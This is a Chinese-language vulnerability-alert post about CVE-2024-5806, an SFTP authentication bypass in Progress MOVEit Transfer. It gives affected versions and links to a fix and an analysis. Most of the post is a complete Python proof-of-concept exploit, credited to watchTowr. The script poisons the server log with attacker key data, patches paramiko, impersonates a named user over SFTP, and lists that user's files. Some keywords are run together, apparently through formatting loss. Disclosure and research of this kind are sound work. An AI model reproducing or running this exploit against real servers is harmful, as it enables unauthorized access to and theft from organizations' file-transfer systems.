长亭百川云 - 文章详情

Progress MOVEit Transfer 验证绕过漏洞(CVE-2024-5806)

漏洞预警机器人

64

2024-06-26

Progress MOVEit Transfer 验证绕过漏洞(CVE-2024-5806)

免责声明:本文内容为机器人搜集最新漏洞及POC分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!

漏洞名称

Progress MOVEit Transfer 验证绕过漏洞(CVE-2024-5806)

漏洞描述

Progress MOVEit Transfer(SFTP模块)中的不当身份验证漏洞可能导致在有限情况下的身份验证绕过。此问题影响MOVEit Transfer版本: 从2023.0.0到2023.0.11之前,从2023.1.0到2023.1.6之前,从2024.0.0到2024.0.2之前。

影响范围:Progess-Moveit Transfer,2023.0.0<=version<2023.0.11,2023.1.0<=version<2023.1.6,2024.0.0<=version<2024.0.2受影响。

POC

https://github.com/watchtowrlabs/watchTowr-vs-progress-moveit\_CVE-2024-5806

import argparse  
import os  
import sys  
import time  
  
import paramiko  
import requests  
import urllib3  
from paramiko.auth_handler importAuthHandler  
from paramiko.dsskey importDSSKey  
from paramiko.ecdsakey importECDSAKey  
from paramiko.ed25519key importEd25519Key  
from paramiko.pkey importPKey  
from paramiko.rsakey importRSAKey  
  
banner ="""    __         ___  ___________                     
     __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________   
     \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\  
      \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/  
       \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|     
                  \\/          \\/     \\/                              
  
        CVE-2024-5806.py  
        (*) Progress MoveIT Transfer SFTP Authentication Bypass (CVE-2024-5806) exploit by watchTowr  
          - Aliz Hammond, watchTowr (aliz@watchTowr.com)  
          - Sina Kheirkhah (@SinSinology), watchTowr (sina@watchTowr.com)  
        Note: We (watchTowr) aren't the original discoverers of the bug, we just reproduced it and wrote the exploit  
              in order to enable proactive protection of client attack surfaces.  
              We will update with proper credit when available.  
        CVEs: [CVE-2024-5806]  
"""  
  
  
# Sanity check that required files exist.  
defsanity(ppk_file: str, pem_file: str):  
ifnot os.path.exists(ppk_file):  
raiseException("(!) Provided PPK file does not exist")  
  
ifnot os.path.exists(pem_file):  
raiseException("(!) Provided PEM file does not exist")  
  
  
# Load PPK and PEM key material, returning the PPK as raw bytes and the PEM as a parsed key file.  
defloadKeys(ppk_file: str, pem_file: str)->(str,PKey):  
try:  
withopen(ppk_file,"r")as f:  
            loaded_ppk = f.read()  
except:  
raiseException("(!) Exception when loading the provided PPK file")  
  
# Since we don't know what type the key is, we need to try each type in turn. This is the best way to do it  
# according to stackoverflow - see https://stackoverflow.com/a/76477074  
    loaded_pem =None  
for pkey_class in(RSAKey,DSSKey,ECDSAKey,Ed25519Key):  
try:  
            loaded_pem = pkey_class.from_private_key_file(pem_file)  
exceptException:  
pass  
  
if loaded_pem isNone:  
raiseException("(!) Unable to load the provided PEM file")  
  
return loaded_ppk, loaded_pem  
  
defpoisonLog(target_ip: str, target_web_port: str, ppkData: str):  
try:  
        requests.post(  
f"https://{target_ip}:{target_web_port}/guestaccess.aspx",  
            data={  
"transaction":"signoff",  
"Arg12":f"\r\n{ppkData}"  
}, verify=False)  
exceptException:  
print("(!) Error while poisoning the log file")  
raise  
  
defauthenticate(target_ip: str, target_sftp_port: int, target_user: str, pem_file: PKey):  
    transport = paramiko.Transport((target_ip, target_sftp_port))  
    transport.connect(None, target_user, pkey=pem_file)  
return paramiko.SFTPClient.from_transport(transport)  
  
defmain(args):  
    urllib3.disable_warnings()  
  
    sanity(args.ppk_file, args.pem_file)  
    ppk_key, pem_key = loadKeys(args.ppk_file, args.pem_file)  
  
# Patch Paramiko, ensuring that it returns our file path instead of key data  
def_get_key_type_and_bits(_, key):  
if key.public_blob:  
return key.public_blob.key_type, args.poison_path  
else:  
return key.get_name(), args.poison_path  
AuthHandler._get_key_type_and_bits = _get_key_type_and_bits  
  
# Now we can insert our key data into the log file.  
print("(*) Poisoning log files multiple times to be sure...")  
for n inrange(0,10):  
        poisonLog(args.target_ip, args.target_web_port, ppk_key)  
        sys.stdout.write('.')  
        sys.stdout.flush()  
    sys.stdout.write('OK\n')  
  
print("(*) Waiting 60 seconds for logs to be flushed to disk")  
for n inrange(1,61):  
        sys.stdout.write(f'{n}.. ')  
        sys.stdout.flush()  
        time.sleep(1)  
    sys.stdout.write('OK\n')  
  
    retriesLeft =10  
whileTrue:  
print("(*) Attempting to authenticate..")  
try:  
print(f"(*) Trying to impersonate {args.target_user} using the server-side file path '{args.poison_path}'")  
            sftp = authenticate(args.target_ip, args.target_sftp_port, args.target_user, pem_key)  
  
print("(+) Authentication succeeded.")  
break  
exceptException:  
            retriesLeft = retriesLeft -1  
if retriesLeft ==0:  
raise  
  
print("(!) Something went wrong during the SFTP authentication process, will retry.")  
            time.sleep(2)  
  
with sftp:  
print(f"(+) Listing files in home directory of user {args.target_user}:\r\n")  
for fileInfo in sftp.listdir_attr('.'):  
print(fileInfo.longname)  
  
print(banner)  
parser = argparse.ArgumentParser(usage=r'python CVE-2024-5806.py --target-ip 192.168.1.1 --target-user admin --ppk id.ppk --pem id')  
parser.add_argument('--target-user','-u', dest='target_user',help='username to impersonate', required=True)  
parser.add_argument('--target-ip','-t', dest='target_ip',help='Target IP', required=True)  
parser.add_argument('--target-web-port', dest='target_web_port',help='Target Web Port',type=int, default=443, required=False)  
parser.add_argument('--target-sftp-port', dest='target_sftp_port',help='Target SFTP Port',type=int, default=22, required=False)  
parser.add_argument('--poison-path','-x', dest='poison_path',help='poisoned file containing attacker controlled SSH public key', default="C:\\MOVEitTransfer\\Logs\\DMZ_WEB.log", required=False)  
parser.add_argument('--ppk','-k', dest='ppk_file',help='Putty Private Key file (PPK)', required=True)  
parser.add_argument('--pem','-p', dest='pem_file',help='Private Key file in PEM format',required=True)  
  
parsedArgs = parser.parse_args()  
main(parsedArgs)

修复方式

https://community.progress.com/s/article/MOVEit-Transfer-Product-Security-Alert-Bulletin-June-2024-CVE-2024-5806

漏洞分析

https://labs.watchtowr.com/auth-bypass-in-un-limited-scenarios-progress-moveit-transfer-cve-2024-5806/

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2